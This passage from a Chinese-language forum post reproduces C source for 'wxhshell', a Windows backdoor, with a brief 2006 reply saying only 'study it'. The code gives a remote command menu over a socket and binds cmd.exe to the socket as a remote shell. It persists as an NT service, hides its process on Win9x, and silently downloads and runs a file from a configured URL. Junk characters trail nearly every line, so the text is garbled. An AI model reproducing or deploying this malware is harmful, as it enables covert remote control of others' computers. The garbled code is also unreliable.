  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !_My]>S  
  } %(y0,?*  
  else { i$!-mYi+Q!  
Kn+m9  
    switch(cmd[0]) { JVeb$_0k  
  Ju.B!)uS#  
  // 帮助 WaYT7 :  
  case '?': { COk;z.Kn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1Ydym2  
    break; RkuPMs Hw;  
  } MC&sM-/  
  // 安装 ;OynkZs)  
  case 'i': { *%wfR7G[B  
    if(Install()) j=~c( B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3G)Wmmh"a  
    else aL%amL6CX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y>i?nC%*  
    break; 0755;26Bx  
    } WN%KA TA  
  // 卸载 C|W\qXCqu  
  case 'r': { ?XNQ_m8f  
    if(Uninstall()) *iVCHQ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OfSHZ;,  
    else <"Cacf g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WYklS<B[  
    break; ]5}C@W@_  
    } 46cd5SLK  
  // 显示 wxhshell 所在路径 _mJnhT3  
  case 'p': { 'Bv)UfZ  
    char svExeFile[MAX_PATH]; !9knF t43  
    strcpy(svExeFile,"\n\r"); O>j_xW]V  
      strcat(svExeFile,ExeFile); kLw07&H  
        send(wsh,svExeFile,strlen(svExeFile),0); WfDpeXdO  
    break; {Ex*8sU%p%  
    } -$js5 Gx1  
  // 重启 Zw`vPvb!  
  case 'b': { 5s'oVO*hW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {q-<1|xj/J  
    if(Boot(REBOOT)) "Wz#<! .r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . w_oWmD  
    else { F qW[L>M'  
    closesocket(wsh); vS{zLXg  
    ExitThread(0); [j]3='2}G  
    } v8>?,N#  
    break; ~\^h;A'3  
    } r- ];@  
  // 关机 VaIFE~>E&  
  case 'd': { DcQ[zdEz+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6eNo}Tos9  
    if(Boot(SHUTDOWN)) XJG "Zr9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RN3-:Zd_X  
    else { XH?}0D(  
    closesocket(wsh); "V;5Lp b  
    ExitThread(0); feH|sz`e  
    } ~K-c-Zs#z  
    break; }yfSF|\  
    } !F_BLHig  
  // 获取shell DFKumw>!  
  case 's': { CAhkv0?8  
    CmdShell(wsh); Gw5j6  
    closesocket(wsh); i,Q{Z@,  
    ExitThread(0); ymxYE#q  
    break; m.}Yn,  
  } (\UA+3$4  
  // 退出 YGj3W.eH  
  case 'x': { Rt[zZv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t'@qb~sf  
    CloseIt(wsh); !u0qF!/W  
    break; VQQtxHTC3  
    } $]Vvu{  
  // 离开 dBKceL v  
  case 'q': { ;%j1'VI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _rz*7-ks=  
    closesocket(wsh); ]}~[2k.  
    WSACleanup(); H~IN<3ko  
    exit(1);  .UUY9@  
    break; i8\&J.  
        } KfO$bmwmx  
  } 8d90B9  
  } &{Zt(%\ '  
fgmIx  
  // 提示信息 pa6.Tp>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MMZdF{5@G  
} B|~tW21  
  } {q[l4_  
`Eijy3>h  
  return; T w!]N%E  
} >0W:snNK  
o<hT/ P  
// shell模块句柄 u7oHqo`  
int CmdShell(SOCKET sock) kXmnLxhS/  
{ hf/6VlZ  
STARTUPINFO si; t_-1sWeA!  
ZeroMemory(&si,sizeof(si)); xMAfa>]{n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0<8p G:BQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5w\>Whbd  
PROCESS_INFORMATION ProcessInfo; ;<JyA3i^V,  
char cmdline[]="cmd"; nty^De%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); meHnT9a^  
  return 0; XF`,mV4  
} o Q!56\R  
*vL2n>HH  
// 自身启动模式 8J P{`)  
int StartFromService(void) jb!R  
{ v[r5!,F  
typedef struct Kd?TIeFE  
{ G\y:O9(  
  DWORD ExitStatus; qH3|x08  
  DWORD PebBaseAddress; ]"jJgO^  
  DWORD AffinityMask; r+}5;fQJ  
  DWORD BasePriority; 8b0!eB#_Ee  
  ULONG UniqueProcessId; !ys82  
  ULONG InheritedFromUniqueProcessId; 4xg7 oo0iJ  
}   PROCESS_BASIC_INFORMATION; /.'tfy $  
s<i& q {r  
PROCNTQSIP NtQueryInformationProcess; z$VA]tI(  
*?zyF@K{%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2{v$GFc/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TTS.wBpR,  
FCC9Ht8U?  
  HANDLE             hProcess; }/ p>DMN  
  PROCESS_BASIC_INFORMATION pbi; 9t.u9C=!F  
qP"+SVqC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DS@ZE Q`F  
  if(NULL == hInst ) return 0; lG\6z"K  
tSr.0'CE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /'V(F* g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,cbCt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HC4vet  
Svs!C+:le  
  if (!NtQueryInformationProcess) return 0; ?R  4sH  
=*VKp{5=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4,8=0[eRG  
  if(!hProcess) return 0; N3D{t\hg  
)jM' x&Vg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =l  %  
e/pZLj]M  
  CloseHandle(hProcess); tevB2'3^  
i'GBj,:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q~[@(+zP5  
if(hProcess==NULL) return 0; *} pl  
W| z djb  
HMODULE hMod; 1Na*7|  
char procName[255]; 4z^ ?3@:K  
unsigned long cbNeeded; >vDa`|g  
sD|P*ir  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P8hA<{UFS\  
f^P:eBgpx  
  CloseHandle(hProcess); )20jZm*  
_Eus<c  
if(strstr(procName,"services")) return 1; // 以服务启动 82S?@%}#J  
e)pQh& uD  
  return 0; // 注册表启动 ,_STt)  
} {XT3M{`rWL  
&n_aMZ;  
// 主模块 :L~{Q>o  
int StartWxhshell(LPSTR lpCmdLine) pzX684  
{ OLThi[Yn  
  SOCKET wsl; k 8C[fRev  
BOOL val=TRUE; O5:?nD  
  int port=0; 5 pJ)OX  
  struct sockaddr_in door; ,G";ny[$  
k<1BE^[V  
  if(wscfg.ws_autoins) Install(); AOT +4*)%  
hxIG0d!o  
port=atoi(lpCmdLine); dQ&S&SW  
F\' ^DtB  
if(port<=0) port=wscfg.ws_port; N! 7r~B   
 .AEOf0t  
  WSADATA data; <78]OZ] Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X67.%>#3  
]}4{|& e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h5+qP"n!?q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }LXS!Ff:  
  door.sin_family = AF_INET; 3=6`'PKRQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I) mP ?  
  door.sin_port = htons(port); mcbr3P  
ds@w=~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~VNN  
closesocket(wsl); 64qm  
return 1; m7zx,bz>  
} ooJ ^8L  
oSmv  (O  
  if(listen(wsl,2) == INVALID_SOCKET) { tc go 'V  
closesocket(wsl); $U,`M"  
return 1; 8vzjPWu  
} Dj=OUo[[d  
  Wxhshell(wsl); DU_38tz  
  WSACleanup(); WM& k  
)_*<uSl  
return 0; d2b  L_  
+UzFHiGy#  
} PQl a-  
Mx ?{[zT"  
// 以NT服务方式启动 Yzr RnVr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PUMh#^g}  
{ 5k0r{^#M  
DWORD   status = 0; B;SN}I  
  DWORD   specificError = 0xfffffff; ;B%NFvG  
z tS P4lW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s%tPGjMq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8"!Z^_y)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l2v4SvbX  
  serviceStatus.dwWin32ExitCode     = 0; mL\j^q,Y  
  serviceStatus.dwServiceSpecificExitCode = 0; adHZX  
  serviceStatus.dwCheckPoint       = 0; OBGA~E;%  
  serviceStatus.dwWaitHint       = 0; 3t  
GCN(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qt+|s&HGt  
  if (hServiceStatusHandle==0) return; ./_o+~\e'  
yo)a_rY  
status = GetLastError(); Of)EBa<5^  
  if (status!=NO_ERROR) v 4@=>L  
{ 1<hj3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8&15k A  
    serviceStatus.dwCheckPoint       = 0; . &dh7` l  
    serviceStatus.dwWaitHint       = 0; C4Pi6.wf  
    serviceStatus.dwWin32ExitCode     = status; # 2As-9  
    serviceStatus.dwServiceSpecificExitCode = specificError; aGK=VN}r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q>\y%&df  
    return; HGuY-f  
  } i^c  
!olvP*c"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yjv[rH5v  
  serviceStatus.dwCheckPoint       = 0; f wN  
  serviceStatus.dwWaitHint       = 0; [4)q6N5`f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gTz66a@i  
}  &!I^m  
xkv2#"*v  
// 处理NT服务事件,比如:启动、停止 al/3$0#U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {}Y QB'}  
{ SHw%u~[hu  
switch(fdwControl) sb 3l4(8g  
{ fo63H'7  
case SERVICE_CONTROL_STOP: :e-&,K  
  serviceStatus.dwWin32ExitCode = 0; EleK*l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <ex,@{n4  
  serviceStatus.dwCheckPoint   = 0; 1:-^*  
  serviceStatus.dwWaitHint     = 0; __U;fH{c  
  { !^Mk5E(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I!(.tu6u6c  
  } #q{i<E 07  
  return; 9Y:JA]U&8  
case SERVICE_CONTROL_PAUSE: 5pNbO[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PP+{zy9Sb  
  break; #u8|cs!  
case SERVICE_CONTROL_CONTINUE: jr@u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #J AU5d  
  break; (bfHxkR.  
case SERVICE_CONTROL_INTERROGATE: D#>+]}5@x  
  break; pdnkHR$  
}; (k?,+jnR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4l! ^"=rh  
} 3c5=>'^F  
xyO]Evg  
// 标准应用程序主函数 ygm4Aj>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k0|*8  
{ h:QKd!Gq  
*uYnu|UQH  
// 获取操作系统版本 '</  
OsIsNt=GetOsVer(); Jhbkp?Zli  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OtuOT=%  
H-%)r&"vn  
  // 从命令行安装 <UJgl{ -  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?>lvV+3^`  
u@SE)qg  
  // 下载执行文件 a jy.K'B*  
if(wscfg.ws_downexe) { Q1qf'u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8Rq+eOP=S  
  WinExec(wscfg.ws_filenam,SW_HIDE); <fX]`57Dc`  
} }{*((@GY}  
g`KVF"8  
if(!OsIsNt) { Lu&2^USTO  
// 如果时win9x,隐藏进程并且设置为注册表启动 &wj;:f  
HideProc(); ,RFcR[ak  
StartWxhshell(lpCmdLine); Zf<M14iM  
} wAE ,mw  
else m ys5B}  
  if(StartFromService()) =re1xR!E5  
  // 以服务方式启动 YH`/;H=$G/  
  StartServiceCtrlDispatcher(DispatchTable); mq$mB1$3u  
else CFJ F}aW  
  // 普通方式启动 zn5  
  StartWxhshell(lpCmdLine); x1)G!i  
4kO[|~#  
return 0; oD,f5Ci-  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五